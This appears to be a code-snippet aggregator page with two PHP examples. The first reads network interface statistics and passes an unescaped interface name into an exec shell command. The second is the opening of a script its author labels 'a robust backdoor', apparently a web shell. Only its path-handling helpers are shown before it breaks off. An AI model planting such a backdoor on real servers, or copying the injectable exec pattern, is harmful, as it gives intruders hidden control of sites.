Example #1
0
File: data.php Project: dinamic/bw
function getInterfaceSentBytes($interface)
{
    if (isLinux()) {
        $filepath = '/sys/class/net/%s/statistics/tx_bytes';
        $output = file_get_contents(sprintf($filepath, $interface));
        return $output;
    }
    if (isFreeBSD() || isOSX()) {
        $command = "%s -ibn| grep %s | grep Link | awk '{print \$10}'";
        exec(sprintf($command, PATH_NETSTAT, $interface), $output);
        return array_shift($output);
    }
    throw new Exception('Unable to guess OS');
}
Example #2
0
<?php

// A robust backdoor script made by Daniel Berliner - http://www.qsdconsulting.com/ [3-15-2011]
// This code is public domain and may be used in part or in full for any legal purpose. I would still appreciate a mention though :).
function isLinux($path)
{
    return substr($path, 0, 1) == "/" ? true : false;
}
function getSlashDir($isLinux)
{
    return $isLinux ? '/' : '\\';
}
//See if we are on Linux or Windows becuase the paths have to be processed differently
$cwd = getcwd();
$isLinux = isLinux($cwd);
if (!$isLinux) {
    $driveLetter = substr($cwd, 0, 1);
}
$slash = getSlashDir($isLinux);
$parts = explode($slash, $cwd);
$rootDir = $isLinux ? $slash : $driveLetter . ':' . $slash;
function cleanPath($path, $isLinux)
{
    $slash = getSlashDir($isLinux);
    $parts = explode($slash, $path);
    foreach ($parts as $key => $val) {
        if ($val == "..") {
            $parts[$key] = "";
            $lastKey = $key - 1;
            $parts[$lastKey] = "";
        } elseif ($val == ".") {